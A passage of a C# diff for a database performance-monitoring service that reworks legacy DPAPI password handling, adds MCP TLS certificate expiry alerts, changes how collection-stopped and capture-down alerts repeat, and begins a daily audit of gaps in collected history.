+    /// Whether a legacy DPAPI value can be opened here: Windows, and either darling.json declares it or the pin taken at
+    /// upgrade still matches the row. The config load counts the values this returns false for.
+    /// </summary>
+    internal static bool LegacyValueUsable(
+        string stored, bool declaredByFile, LegacyPin? pin, Func<PasswordBinding> bindingFor, LegacyDpapi dpapi)
+    {
+        if (!dpapi.IsWindows)
+        {
+            return false;
+        }
+
+        if (declaredByFile)
+        {
+            return true;
         }
 
         try
         {
-            return Unprotect(blob);
+            return pin is not null && PinMatches(pin, stored, bindingFor());
         }
-        catch (CryptographicException ex)
+        catch (ArgumentException)
+        {
+            return false;
+        }
+    }
+
+    private static string OpenSaved(
+        string stored, string subject, Func<PasswordBinding> bindingFor, bool declaredByFile, LegacyPin? pin,
+        IPasswordKeyRing ring, LegacyDpapi dpapi, string decryptWhat)
+    {
+        if (PasswordSeal.IsSealed(stored))
+        {
+            /* A ring that cannot open anything says why (not loaded yet, or refused). Asking it to open would
+               report an unknown key, which is not what is wrong. */
+            if (!ring.Status.CanSeal)
+            {
+                throw new InvalidOperationException(ring.Status.Reason ?? DarlingPasswordKey.NotReadyReason);
+            }
+
+            try
+            {
+                return ring.Open(stored, bindingFor());
+            }
+            catch (PasswordSealException ex)
+            {
+                throw new InvalidOperationException(SealFailureText(subject, ex));
+            }
+            catch (ArgumentException)
+            {
+                /* A connection field that is not valid text: the value cannot be opened for this connection. */
+                throw new InvalidOperationException(BindingText(subject));
+            }
+        }
+
+        if (!dpapi.IsWindows)
+        {
+            throw new InvalidOperationException(
+                $"{subject} was saved with Windows DPAPI on another machine and cannot be read here. Enter it again.");
+        }
+
+        if (!LegacyValueUsable(stored, declaredByFile, pin, bindingFor, dpapi))
         {
             throw new InvalidOperationException(
-                DescribeDecryptFailure($"the stored REMEDIATION password for server '{server.DisplayName}' " +
-                                       "(servers[].remediationEncryptedPassword)"),
-                ex);
+                $"{subject} is in the old format and was saved after this service was upgraded, or its connection changed. " +
+                "Update the Darling Viewer, then enter the password again.");
+        }
+
+        try
+        {
+            return dpapi.Unprotect(stored);
+        }
+        catch (CryptographicException ex)
+        {
+            throw new InvalidOperationException(DescribeDecryptFailure(decryptWhat), ex);
         }
     }
+
+    private static string BindingText(string subject) =>
+        $"{subject} was saved for a different connection, or was changed. Enter the password again.";
+
+    private static string SealFailureText(string subject, PasswordSealException ex) => ex.Kind switch
+    {
+        PasswordSealFailure.UnknownKey =>
+            $"{subject} was sealed to password key {PasswordSeal.DisplayKeyId(ex.KeyId ?? "")}, which this service does not have. " +
+            "Restore the credentials volume, or enter the password again.",
+        PasswordSealFailure.NewerVersion => $"{subject} was saved by a newer version of Darling.",
+        _ => BindingText(subject),
+    };
+
+    private static bool PinMatches(LegacyPin pin, string stored, PasswordBinding binding) =>
+        CryptographicOperations.FixedTimeEquals(pin.ValueSha256, SHA256.HashData(Encoding.UTF8.GetBytes(stored)))
+        && CryptographicOperations.FixedTimeEquals(pin.BindingSha256, binding.LegacyPinHash());
+}
+
+/// <summary>A legacy DPAPI value's pin as read from <c>config.legacy_secret_pin</c>: the hash of the stored text and the hash of the
+/// connection it was pinned to.</summary>
+internal sealed record LegacyPin(byte[] ValueSha256, byte[] BindingSha256);
+
+/// <summary>What the resolver may do with a legacy DPAPI value on this machine: whether it is Windows and how to open one. Tests pass their own.</summary>
+internal sealed record LegacyDpapi(bool IsWindows, Func<string, string> Unprotect)
+{
+    internal static LegacyDpapi Current =>
+        OperatingSystem.IsWindows()
+            ? OnWindows()
+            : new LegacyDpapi(false, _ => throw new PlatformNotSupportedException("DPAPI requires Windows."));
+
+    [SupportedOSPlatform("windows")]
+    private static LegacyDpapi OnWindows() => new(true, blob => DarlingSecrets.Unprotect(blob));
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs
index f8dbf5389d..5c332ac842 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs
@@ -169,6 +169,9 @@ the Func seam also keeps the test fakes — which implement only IAlertEngineSet
     /// online.</summary>
     private readonly FailedSendRetryTracker _connectionRetries = new();
 
+    /// <summary>#5489: the same for a "Collection Stopped" alert no channel delivered.</summary>
+    private readonly FailedSendRetryTracker _collectionStoppedRetries = new();
+
     /// <summary>The same for the availability group alerts (#4795), keyed by metric and AG grain: a disconnect
     /// that reached no channel is due again with re-fire off or on; a failover and a data-movement-suspended
     /// edge, whose "already reported" markers are put back, are due again after the same delay. Held in a tracker
@@ -573,6 +576,10 @@ rule list. */
     private readonly ConcurrentDictionary<string, bool> _activeCustomRuleHealth = new();
     private readonly ConcurrentDictionary<string, DateTime> _lastCustomRuleHealthAlert = new();
 
+    /// <summary>#5493: the ids of the unhealthy rules the last check saw while the alert stood, so a rule that joins
+    /// the set is a new entry. A replaced snapshot, never changed in place; cleared when every rule is healthy.</summary>
+    private readonly ConcurrentDictionary<string, HashSet<long>> _customRuleHealthIds = new();
+
     /// <summary>The fixed key for the fleet-level custom-alert-rule-health edge (not a real server); non-numeric
     /// so the deliverer's #1236 int.TryParse override no-ops on it exactly like <see cref="DiskKey"/>.</summary>
     private const string CustomRuleHealthKey = "customalerts";
@@ -664,14 +671,54 @@ is. The rule set is handed in by the worker from the live MuteRuleService cache
     /// <see cref="MaxListedUnhealthyRules"/>' reasoning — one bounded alert, not a wall of text.</summary>
     private const int MaxListedStaleMuteRules = 20;
 
-    /* -------- web dashboard TLS certificate expiry (#3514) -------- */
+    /* -------- web dashboard and MCP TLS certificate expiry (#3514, #5288) -------- */
 
     /// <summary>The fixed fleet-level key for the web-dashboard TLS certificate expiry edge (not a real
     /// server); non-numeric so the deliverer's #1236 int.TryParse no-ops on it, like <see cref="StaleMuteKey"/>.</summary>
     private const string WebTlsCertKey = "webtlscert";
 
-    private readonly ConcurrentDictionary<string, bool> _activeWebTlsCert = new();
-    private readonly ConcurrentDictionary<string, DateTime> _lastWebTlsCertAlert = new();
+    /// <summary>The fixed fleet-level key for the MCP endpoint's TLS certificate expiry edge (#5288). Its OWN key,
+    /// not <see cref="WebTlsCertKey"/>: one shared key would let a web renewal resolve an MCP alert, and a
+    /// certificate both listeners serve would raise one alert instead of the two the operator needs (each
+    /// listener drops to loopback-only on its own). Non-numeric for the same #1236 reason.</summary>
+    private const string McpTlsCertKey = "mcptlscert";
+
+    /// <summary>Which listener's served certificate a TLS self-alert is about (#5288). The two listeners share
+    /// one body (<see cref="ApplyListenerTlsCertificateAsync"/>) and differ only in <see cref="TlsListenerDescriptor"/>.</summary>
+    internal enum TlsListener
+    {
+        /// <summary>The web dashboard's <c>web.network.tls</c> certificate (#3514).</summary>
+        Web,
+
+        /// <summary>The MCP endpoint's <c>mcp.network.tls</c> certificate (#5288).</summary>
+        Mcp,
+    }
+
+    /// <summary>What differs between the two listeners' TLS alerts: the fleet key, the metric pair, and the two
+    /// nouns the rendered text uses. <paramref name="Surface"/> is the listener's name as a sentence noun
+    /// ("web dashboard", "MCP server"); <paramref name="Endpoint"/> is the network-facing endpoint that falls to
+    /// loopback-only ("LAN dashboard", "LAN MCP endpoint"). Everything else (the window, the daily re-state, the
+    /// severities, the edge rules) is shared, so a change to one listener's alert is a change to both.</summary>
+    private sealed record TlsListenerDescriptor(
+        string Key, string ExpiryMetric, string RenewedMetric, string Surface, string Endpoint);
+
+    private static readonly TlsListenerDescriptor s_webTls = new(
+        WebTlsCertKey, WebTlsCertExpiryMetric, WebTlsCertRenewedMetric, "web dashboard", "LAN dashboard");
+
+    private static readonly TlsListenerDescriptor s_mcpTls = new(
+        McpTlsCertKey, McpTlsCertExpiryMetric, McpTlsCertRenewedMetric, "MCP server", "LAN MCP endpoint");
+
+    private static TlsListenerDescriptor DescribeTlsListener(TlsListener listener) => listener switch
+    {
+        TlsListener.Web => s_webTls,
+        TlsListener.Mcp => s_mcpTls,
+        _ => throw new ArgumentOutOfRangeException(nameof(listener), listener, "Unknown TLS listener."),
+    };
+
+    /* One pair of maps for both listeners, keyed by each listener's own fleet key: the keys differ, so the two
+       alerts' active flags and re-state stamps never touch. */
+    private readonly ConcurrentDictionary<string, bool> _activeListenerTlsCert = new();
+    private readonly ConcurrentDictionary<string, DateTime> _lastListenerTlsCertAlert = new();
 
     /// <summary>The metric the web-dashboard TLS certificate expiry self-alert fires under (#3514). A WEBHOOK
     /// AUTOMATION KEY like its siblings — a const, stable across releases. State-only in the numeric columns:
@@ -684,18 +731,42 @@ is. The rule set is handed in by the worker from the live MuteRuleService cache
     /// <c>AlertMetricClassifier.IsResolution</c> styles it green.</summary>
     internal const string WebTlsCertRenewedMetric = "Web TLS Certificate Renewed";
 
+    /// <summary>The metric the MCP endpoint's TLS certificate expiry self-alert fires under (#5288): the web
+    /// metric's twin, with the same shape. A WEBHOOK AUTOMATION KEY, a const, stable across releases, and its
+    /// OWN string so an operator's mute rule or webhook route for the web alert never silently covers (or
+    /// misses) the MCP one. State-only in the numeric columns, for the <see cref="WebTlsCertExpiryMetric"/>
+    /// reason: an expiry is a date, not a quantity.</summary>
+    internal const string McpTlsCertExpiryMetric = "MCP TLS Certificate Expiring";
+
+    /// <summary>The resolution title for <see cref="McpTlsCertExpiryMetric"/>, recorded when the MCP endpoint is
+    /// serving a healthy certificate again or no longer serves one to watch. Carries the recognized "Renewed"
+    /// resolution suffix, like <see cref="WebTlsCertRenewedMetric"/>.</summary>
+    internal const string McpTlsCertRenewedMetric = "MCP TLS Certificate Renewed";
+
     /// <summary>How long before expiry this begins to warn — the SAME window the web host's startup log uses
     /// (<see cref="Hosting.DarlingWebTls.ExpiryWarningDays"/>), so the two surfaces agree to the day and a
-    /// reader who saw the startup line sees the same threshold here.</summary>
+    /// reader who saw the startup line sees the same threshold here. Shared by the MCP listener's alert
+    /// (#5288): the MCP certificate is loaded and judged by the same <c>DarlingWebTls</c> code, so one window
+    /// is the truth for both.</summary>
     internal static readonly TimeSpan WebTlsCertWarnWindow = TimeSpan.FromDays(Hosting.DarlingWebTls.ExpiryWarningDays);
 
     /// <summary>How long this condition waits before re-stating itself while the certificate is still inside
     /// the warning window — its OWN daily interval, for the <see cref="StaleMuteRefire"/> reason: the fact is a
     /// fixed expiry date measured against the clock, identical every sweep, so the shared 5-to-120-minute
     /// cooldown would flood the channel about a date that changes only when the operator renews. Daily
-    /// dominates the cooldown's two-hour ceiling under every setting.</summary>
+    /// dominates the cooldown's two-hour ceiling under every setting. Shared by both listeners' alerts (#5288),
+    /// each re-stating on its own stamp.</summary>
     internal static readonly TimeSpan WebTlsCertRefire = TimeSpan.FromDays(1);
 
+    /// <summary>Appended to a listener's fleet key to name the re-state stamp of its load-refusal alert (#5288),
+    /// so a refusal and an in-window warning on the same listener each wait on their own daily interval. Not a
+    /// fleet key itself: it never reaches a store, only the in-memory stamp map.</summary>
+    private const string LoadRefusalStampSuffix = ":load";
+
+    /// <summary>Length cap for the loader's message in a load-refusal alert's detail (#5288). A real message
+    /// names the setting, the path and the cause; the cap bounds a runaway one.</summary>
+    private const int MaxTlsLoadRefusalLength = 300;
+
     /// <summary>Length cap for one stale rule's operator-authored reason in the alert detail. Generous
     /// enough to carry a real sentence, bounded so <see cref="MaxListedStaleMuteRules"/> lines cannot grow
     /// the body without limit.</summary>
@@ -1449,7 +1520,8 @@ internal static bool IsCollectionStopped(
     /// threshold; the constant overload keeps the shipped defaults for the tests pinning them.</summary>
     internal static bool IsCollectionStopped(
         DateTime? lastSuccessUtc, int recentRunCount, int recentSuccessCount, DateTime nowUtc,
-        TimeSpan staleWindow, int consecutiveFailureThreshold, out string reason)
+        TimeSpan staleWindow, int consecutiveFailureThreshold, out string reason,
+        DateTime? reportedLastSuccessUtc = null)
     {
         /* Fast path: the most-recent N runs all failed. */
         if (recentRunCount >= consecutiveFailureThreshold && recentSuccessCount == 0)
@@ -1461,8 +1533,11 @@ internal static bool IsCollectionStopped(
         /* Backstop: a server that HAS collected before but hasn't succeeded within the staleness window. */
         if (lastSuccessUtc.HasValue && nowUtc - lastSuccessUtc.Value >= staleWindow)
         {
-            int minutes = (int)(nowUtc - lastSuccessUtc.Value).TotalMinutes;
-            reason = $"No successful collection in {minutes.ToString(CultureInfo.InvariantCulture)} minutes — the collectors are failing or the server is unreachable.";
+            /* The firing basis (lastSuccessUtc) may be the service's watch start rather than the store's last
+               success (#4757); the TEXT counts from the store's own last success when the caller has one, so a
+               restart does not reset "how long" to zero for a server that has been dark for days (#5489). */
+            var silent = nowUtc - (reportedLastSuccessUtc ?? lastSuccessUtc.Value);
+            reason = $"No successful collection in {FormatSilence(silent)} — the collectors are failing or the server is unreachable.";
             return true;
         }
 
@@ -1470,6 +1545,36 @@ internal static bool IsCollectionStopped(
         return false;
     }
 
+    /// <summary>
+    /// How long a server has gone without a successful collection, as the Collection Stopped text says it:
+    /// minutes up to two hours ("47 minutes"), whole hours up to two days ("5 hours"), then days with the
+    /// leftover hours ("12 days", "12 days 3 hours"). A 12-day gap used to read "17805 minutes".
+    /// </summary>
+    internal static string FormatSilence(TimeSpan silent)
+    {
+        if (silent < TimeSpan.Zero)
+        {
+            silent = TimeSpan.Zero;
+        }
+
+        static string Unit(long n, string one) =>
+            n.ToString(CultureInfo.InvariantCulture) + " " + one + (n == 1 ? "" : "s");
+
+        if (silent < TimeSpan.FromHours(2))
+        {
+            return Unit((long)silent.TotalMinutes, "minute");
+        }
+
+        if (silent < TimeSpan.FromDays(2))
+        {
+            return Unit((long)silent.TotalHours, "hour");
+        }
+
+        var days = (long)silent.TotalDays;
+        var hours = silent.Hours;
+        return hours == 0 ? Unit(days, "day") : Unit(days, "day") + " " + Unit(hours, "hour");
+    }
+
     /// <summary>
     /// The collection-stopped decision for one server as the SERVICE sees it (#4757): the pure
     /// <see cref="IsCollectionStopped(DateTime?, int, int, DateTime, TimeSpan, int, out string)"/> rule, fed
@@ -1500,7 +1605,8 @@ internal bool JudgeCollectionStopped(
             : int.MaxValue;
 
         return IsCollectionStopped(
-            staleBasis, recentRunCount, recentSuccessCount, now, SettingsStaleWindow, failureThreshold, out reason);
+            staleBasis, recentRunCount, recentSuccessCount, now, SettingsStaleWindow, failureThreshold, out reason,
+            reportedLastSuccessUtc: lastSuccessUtc);
     }
 
     /// <summary>
@@ -1522,8 +1628,9 @@ private DateTime WatchStartFor(string key, DateTime now)
 
     /// <summary>
     /// Edge-applies the collection-stopped decision (mirrors the Dashboard's
-    /// <c>_activeCollectionStoppedAlert</c>/<c>_lastCollectionStoppedAlert</c>): fire once on entry, re-fire
-    /// only after the alert cooldown while it persists, and write ONE "Collection Resumed" history row on
+    /// <c>_activeCollectionStoppedAlert</c>/<c>_lastCollectionStoppedAlert</c>): a state alert (#5489). It fires
+    /// once on entry, repeats only when <c>connection_refire_minutes</c> is above 0 (every that many minutes) or
+    /// to send again an alert no channel took (#4795), and writes ONE "Collection Resumed" history row on
     /// recovery. Testable directly with a recording deliverer + a controllable clock.
     /// </summary>
     /// <param name="sweepGeneration">#4795: the <see cref="GenerationOf"/> the sweep captured before it started
@@ -1545,13 +1652,35 @@ internal async Task ApplyCollectionStoppedAsync(
 
         if (stopped)
         {
+            /* #5489: a state alert, decided by the same shared policy "Server Unreachable" uses. A server never
+               seen stopped counts as running, so the first stopped sweep (also the first one after a restart,
+               which loses this in-memory state) is the entry and sends ONE alert. While the outage stands it
+               repeats only when connection_refire_minutes > 0 and that interval passed, or to send again an
+               alert that reached no channel (#4795). It no longer repeats every cooldown. */
+            var wasStopped = _activeCollectionStopped.TryGetValue(key, out var standing) && standing;
             _activeCollectionStopped[key] = true;
-            if (CooldownElapsed(_lastCollectionStoppedAlert, key, now))
+            var refire = _connectionRefireMinutes();
+            var decision = ConnectionAlertPolicy.Decide(
+                previousOnline: !wasStopped,
+                online: false,
+                alertWhenAlreadyDownAtFirstSight: false,
+                refireInterval: refire > 0 ? TimeSpan.FromMinutes(refire) : null,
+                /* #4732: a stamp ahead of the clock (it stepped back) is replaced by this reading. */
+                lastDownAlertUtc: LastFiredStamp.TryGet(_lastCollectionStoppedAlert, key, now, out var lastStopped)
+                    ? lastStopped : null,
+                nowUtc: now,
+                retryDueUtc: _collectionStoppedRetries.DueUtc(key, now));
+            if (decision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
             {
                 _lastCollectionStoppedAlert[key] = now;
+                var repeatNote = decision == ConnectionAlertDecision.Lost
+                    ? string.Empty
+                    : refire > 0
+                        ? $"Still stopped (re-alerting every {refire} min). "
+                        : "Still stopped (the previous alert reached no channel, so it is sent again). ";
                 var delivery = await FireAsync(
                     key, serverName, "Collection Stopped", reason, "collecting",
-                    detail: reason + " A headless service has no dashboard to watch, so this is the primary " +
+                    detail: repeatNote + reason + " A headless service has no dashboard to watch, so this is the primary " +
                         "signal that a server's data has gone stale. Check the service log and the server's " +
                         "reachability, credentials, and collector permissions.",
                     severity: AlertSeverityLevel.Critical,
@@ -1560,11 +1689,23 @@ internal async Task ApplyCollectionStoppedAsync(
                        with different units (a run count, or minutes). See AlertMetricClassifier.IsStateOnly. */
                     numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
                     cancellationToken);
-                AfterSelfFire("Collection Stopped", _lastCollectionStoppedAlert, key, now, SharedCooldown, delivery);
+                /* #4795: the server was forgotten while this was sending; Forget cleared the stamp and the
+                   retry, so writing the answer now would hand them to the next registration. */
+                if (IsStaleSweep(serverId, sweepGeneration))
+                {
+                    return;
+                }
+
+                /* #4795: every channel failed -> due again after the failed-send back-off (a minute, doubling,
+                   never more than the shared cooldown), with re-fire off too. Any other answer clears it. */
+                NoteRetrySend(_collectionStoppedRetries, key, "Collection Stopped", delivery);
             }
         }
         else if (_activeCollectionStopped.TryRemove(key, out var was) && was)
         {
+            /* #5489: the outage is over; the next one is a new entry with its own alert. */
+            _lastCollectionStoppedAlert.TryRemove(key, out _);
+            _collectionStoppedRetries.Clear(key);
             await RecordResolutionAsync(new AlertResolution(
                 key, serverName, "Collection Stopped",
                 "Collection Resumed", $"{serverName}: Data collection is running again"), cancellationToken);
@@ -1574,8 +1715,9 @@ await RecordResolutionAsync(new AlertResolution(
     /// <summary>
     /// Edge-applies capture-down (mirrors the Dashboard's <c>_activeCaptureDownAlert</c>): gated on
     /// blocking OR deadlock alerts being enabled (the alerts this protects — if the operator wants those,
-    /// they need to know when the data feeding them stops existing). Fire once on entry, re-fire only after
-    /// the cooldown, write ONE "Capture Restored" row on recovery.
+    /// they need to know when the data feeding them stops existing). A state alert (#5493): fire once on entry,
+    /// repeat only per <c>connection_refire_minutes</c> (or to send again an alert no channel took), write ONE
+    /// "Capture Restored" row on recovery.
     /// </summary>
     /// <param name="sweepGeneration">#4795: as on <see cref="ApplyCollectionStoppedAsync"/>: given and out of date,
     /// this judges nothing, sends nothing and leaves no standing-alert flag or cooldown stamp behind.</param>
@@ -1600,13 +1742,16 @@ internal async Task ApplyCaptureDownAsync(
         if (missing.Count > 0)
         {
             _activeCaptureDown[key] = true;
-            if (CooldownElapsed(_lastCaptureDownAlert, key, now))
+            /* #5493: a state alert, the same policy as "Collection Stopped" (#5489): one alert on entry, a repeat
+               only per connection_refire_minutes, a send again only for an alert no channel took (#4795). */
+            var decision = DecideStateAlert(_lastCaptureDownAlert, key, CaptureDownMetric, key, now, out var refire);
+            if (decision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
             {
                 _lastCaptureDownAlert[key] = now;
                 var list = string.Join(" and ", missing);
                 var delivery = await FireAsync(
-                    key, serverName, "Capture Down", list, "session running",
-                    detail: $"The {list} Extended Events session(s) are missing and could not be created. " +
+                    key, serverName, CaptureDownMetric, list, "session running",
+                    detail: StateRepeatNote(decision, refire) + $"The {list} Extended Events session(s) are missing and could not be created. " +
                         "Blocking/deadlock data is NOT being captured, so those alerts can never fire. Check the " +
                         "collection log for the SESSION_MISSING detail (usually a permissions problem: " +
                         "ALTER ANY EVENT SESSION on-prem, CREATE ANY DATABASE EVENT SESSION on Azure SQL DB).",
@@ -1615,13 +1760,20 @@ internal async Task ApplyCaptureDownAsync(
                     /* Which capture is missing ("Blocking and Deadlock") against "session running". */
                     numericCurrentValue: StateOnlyValue, numericThresholdValue: StateOnlyValue,
                     cancellationToken);
-                AfterSelfFire("Capture Down", _lastCaptureDownAlert, key, now, SharedCooldown, delivery);
+                /* #4795: the server was forgotten while this was sending; Forget cleared the stamp and the retry. */
+                if (IsStaleSweep(serverId, sweepGeneration))
+                {
+                    return;
+                }
+
+                NoteStateSend(CaptureDownMetric, key, delivery);
             }
         }
         else if (_activeCaptureDown.TryRemove(key, out var was) && was)
         {
+            EndStateAlert(_lastCaptureDownAlert, key, CaptureDownMetric, key);
             await RecordResolutionAsync(new AlertResolution(
-                key, serverName, "Capture Down",
+                key, serverName, CaptureDownMetric,
                 "Capture Restored", $"{serverName}: Blocking/deadlock capture is running again"), cancellationToken);
         }
     }
@@ -2671,6 +2823,301 @@ await RecordDocumentDeliveredAsync(
             delivery, FleetSweepRollupInterval, now, "fleet-sweep rollup", cancellationToken);
     }
 
+    /* ------------------------- #5450: the daily retained-history audit ------------------------- */
+
+    /// <summary>
+    /// The alert metric name for the daily retained-history audit (#5450, proposal 3). A WEBHOOK AUTOMATION KEY
+    /// like its siblings, so it is a const and must stay stable across releases.
+    /// </summary>
+    internal const string CollectionGapsInHistoryMetric = "Collection Gaps In History";
+
+    /// <summary>Fleet-level key, non-numeric so it never collides with a real server_id (the DiskKey shape).</summary>
+    private const string CollectionHistoryAuditKey = "collectionhistoryaudit";
+
+    /// <summary>The audit's day grid: one slot a day, at <see cref="CollectionHistoryAudit.DueTimeOfDay"/>.</summary>
+    internal static readonly TimeSpan HistoryAuditInterval = TimeSpan.FromDays(1);
+
+    /// <summary>The slot of the latest audit pass, the <see cref="_lastSweepRollup"/> idiom: a cache of the stamp.</summary>
+    private readonly ConcurrentDictionary<string, DateTime> _lastHistoryAudit = new();
+
+    /// <summary>Reads one rollup's hour buckets between the bounds; null when the relation does not exist.</summary>
+    internal delegate Task<IReadOnlyList<CollectionHistoryAudit.HourBucket>?> HistoryRollupReader(
+        CollectionHistoryAudit.Rollup rollup, DateTime fromUtc, DateTime toUtc, CancellationToken cancellationToken);
+
+    /// <summary>
+    /// FLEET-level (#5450): the DAILY RETAINED-HISTORY AUDIT. Once per UTC day, on the first pass at or after 03:00Z,
+    /// reads each source's per-hour counts for the previous UTC day and the seven days before it, and raises at most
+    /// ONE "Collection Gaps In History" Warning naming the flagged hour ranges. The self-monitor alerts run inside
+    /// the service, so an outage the service was not alive for, and a degraded collection whose rows still arrive
+    /// every hour, are only visible afterwards, in what the store retained. Quiet when nothing is flagged. The
+    /// sources, the tests and why they are these are on <see cref="CollectionHistoryAudit"/>.
+    ///
+    /// <para><b>Once a day, across restarts.</b> The <see cref="DocumentDeliveredInsideIntervalAsync"/> gate over the
+    /// delivery stamp store, as the daily documents use, with the slot pinned to 03:00Z of the day: a restart later
+    /// that day reads the stamp and does nothing. A quiet day and a delivered one both stamp; only a delivery the
+    /// deliverer reported failed does not, so the next tick retries.</para>
+    ///
+    /// <para><b>Every source read, or absent, before the day is done (M2 of the #5461 review).</b> A source whose read
+    /// failed, or that has no bucket at or after the audited day's 23:00 bucket (not ready; the read runs up to the
+    /// current hour, so a hole across midnight is judged as soon as collection resumes), is retried on the later
+    /// ticks, and only those sources are re-read; the findings so far are held in memory and nothing is raised or
+    /// stamped until every source has been read or is absent. The audit gives up on a source at the next day's 03:00Z
+    /// slot, with one warning naming it, and raises what it has, the alert text naming each source not read. A source
+    /// that was read but never became ready keeps its flagged hours (an hour with no rows counts as 0): they reach
+    /// the give-up alert, marked as not complete. A give-up with no flagged hours at all raises nothing and leaves the
+    /// warning in the log. The held state is process memory: a restart starts the day over, and a day whose retries a
+    /// restart ended is not audited again.</para>
+    ///
+    /// <para><b>One alert per audited day (M1 of the #5461 round 2 review).</b> The audit day is in the alert's
+    /// delivery key, so the give-up alert for day D and the audit of day D+1 in the same tick are two incidents: the
+    /// deliverer's cooldown falls back to the (server key, metric) pair for a self-alert, and with one key for both
+    /// days it would throttle the second.</para>
+    ///
+    /// <para><b>Days missed while the service was down are not audited (L4).</b> Only the previous UTC day is. Down
+    /// from late evening to the next morning leaves the earlier day unaudited, which is accepted: Collection Gap At
+    /// Start reports that down window itself on the restart.</para>
+    ///
+    /// <para><b>Cost.</b> One aggregate per source, with a range predicate on <c>bucket</c> and a 60 s deadline. A read
+    /// that times out or fails logs one warning, is counted in the alert-read-failure census, and leaves THAT source
+    /// unread; the audit goes on with the others.</para>
+    /// </summary>
+    public Task EvaluateCollectionHistoryAuditAsync(NpgsqlDataSource postgres, CancellationToken cancellationToken)
+        => ApplyCollectionHistoryAuditAsync(
+            (rollup, from, to, token) => CollectionHistoryAudit.ReadAsync(postgres, rollup, from, to, token),
+            CollectionHistoryAudit.Rollups, cancellationToken);
+
+    /// <summary>One audit day's held state: the sources read so far and the findings of the ones that flagged.</summary>
+    private sealed class HistoryAuditDay
+    {
+        public HistoryAuditDay(DateTime day) => Day = day;
+
+        public DateTime Day { get; }
+
+        public HashSet<string> Done { get; } = new(StringComparer.Ordinal);
+
+        public Dictionary<string, IReadOnlyList<CollectionHistoryAudit.FlaggedRange>> Findings { get; } = new(StringComparer.Ordinal);
+
+        /// <summary>The ranges of a source that was read but not ready, from its latest read: raised only if the
+        /// audit gives up on it (H1 of the #5461 round 2 review).</summary>
+        public Dictionary<string, IReadOnlyList<CollectionHistoryAudit.FlaggedRange>> Unsettled { get; } = new(StringComparer.Ordinal);
+    }
+
+    /// <summary>The day being retried: set while a source of the audited day is unread, null otherwise.</summary>
+    private HistoryAuditDay? _historyAuditDay;
+
+    /// <summary>
+    /// The audit with its reads handed in, so the gate, the one-alert rule and the failure isolation are
+    /// unit-testable with a controllable clock and fixture buckets.
+    /// </summary>
+    internal async Task ApplyCollectionHistoryAuditAsync(
+        HistoryRollupReader read, IReadOnlyList<CollectionHistoryAudit.Rollup> rollups, CancellationToken cancellationToken)
+    {
+        if (!_settings.AlertsEnabled)
+        {
+            return;
+        }
+
+        var now = _utcNow();
+
+        /* A day with unread sources is retried until the next day's slot, then given up on. */
+        var held = _historyAuditDay;
+        if (held is not null && now >= held.Day.AddDays(2) + CollectionHistoryAudit.DueTimeOfDay)
+        {
+            await GiveUpOnHistoryAuditDayAsync(held, rollups, cancellationToken);
+            held = null;
+            _historyAuditDay = null;
+        }
+
+        if (held is null)
+        {
+            if (now.TimeOfDay < CollectionHistoryAudit.DueTimeOfDay)
+            {
+                return;
+            }
+
+            if (await DocumentDeliveredInsideIntervalAsync(
+                    _lastHistoryAudit, CollectionHistoryAuditKey, PgSelfAlertDeliveryStampStore.HistoryAuditStateKey,
+                    HistoryAuditInterval, now, "collection-history audit", cancellationToken))
+            {
+                return;
+            }
+
+            /* Nothing known (no stamp, or none readable) anchors the slot grid on 03:00Z of today instead of on this
+               instant, so the next day's audit is due at 03:00Z and not a day after whenever this one happened to run. */
+            if (!_lastHistoryAudit.TryGetValue(CollectionHistoryAuditKey, out var known) || known == NoDeliveryKnown)
+            {
+                _lastHistoryAudit[CollectionHistoryAuditKey] =
+                    now.Date + CollectionHistoryAudit.DueTimeOfDay - HistoryAuditInterval;
+            }
+
+            held = new HistoryAuditDay(now.Date.AddDays(-1));
+            _historyAuditDay = held;
+        }
+
+        var auditDay = held.Day;
+        var from = CollectionHistoryAudit.ReadFrom(auditDay);
+        var to = CollectionHistoryAudit.ReadTo(auditDay, now);
+
+        foreach (var rollup in rollups)
+        {
+            if (held.Done.Contains(rollup.Relation))
+            {
+                continue;
+            }
+
+            IReadOnlyList<CollectionHistoryAudit.HourBucket>? buckets;
+            var readClock = Stopwatch.StartNew();
+            try
+            {
+                buckets = await read(rollup, from, to, cancellationToken);
+            }
+            catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+            {
+                throw;
+            }
+            catch (Exception ex)
+            {
+                /* One warning, one count, and on to the next source; this one is retried on a later tick. */
+                _logger?.LogWarning(ex,
+                    "Collection-history audit could not read {Rollup} after {ElapsedMs} ms; it is retried on a later tick",
+                    rollup.Relation, readClock.ElapsedMilliseconds);
+                _readFailures?.RecordReadFailure(null, "collection-history audit read", readClock.ElapsedMilliseconds);
+                continue;
+            }
+
+            if (buckets is null)
+            {
+                held.Done.Add(rollup.Relation);
+                continue;
+            }
+
+            var ranges = CollectionHistoryAudit.Analyze(auditDay, buckets);
+            if (ranges is null)
+            {
+                held.Done.Add(rollup.Relation);
+                continue;
+            }
+
+            if (!CollectionHistoryAudit.IsSettled(auditDay, buckets))
+            {
+                /* Not ready: no bucket at or after the day's 23:00 bucket yet. Like a failed read, but its ranges are
+                   kept: if the audit gives up on it they reach the alert (H1 of the #5461 round 2 review). */
+                held.Unsettled[rollup.Relation] = ranges;
+                _logger?.LogInformation(
+                    "Collection-history audit: {Rollup} has no bucket at or after {Hour:u} yet; it is retried on a later tick",
+                    rollup.Relation, auditDay.AddHours(23));
+                continue;
+            }
+
+            held.Done.Add(rollup.Relation);
+            held.Unsettled.Remove(rollup.Relation);
+            if (ranges.Count > 0)
+            {
+                held.Findings[rollup.Relation] = ranges;
+            }
+        }
+
+        if (rollups.Any(r => !held.Done.Contains(r.Relation)))
+        {
+            return;
+        }
+
+        AlertDelivery? delivery = null;
+        var alert = HistoryAuditAlert(held, rollups, Array.Empty<CollectionHistoryAudit.Rollup>());
+        if (alert is not null)
+        {
+            delivery = await FireAsync(
+                StoreKey(HistoryAuditDayKey(held.Day)), _storeLabel, CollectionGapsInHistoryMetric,
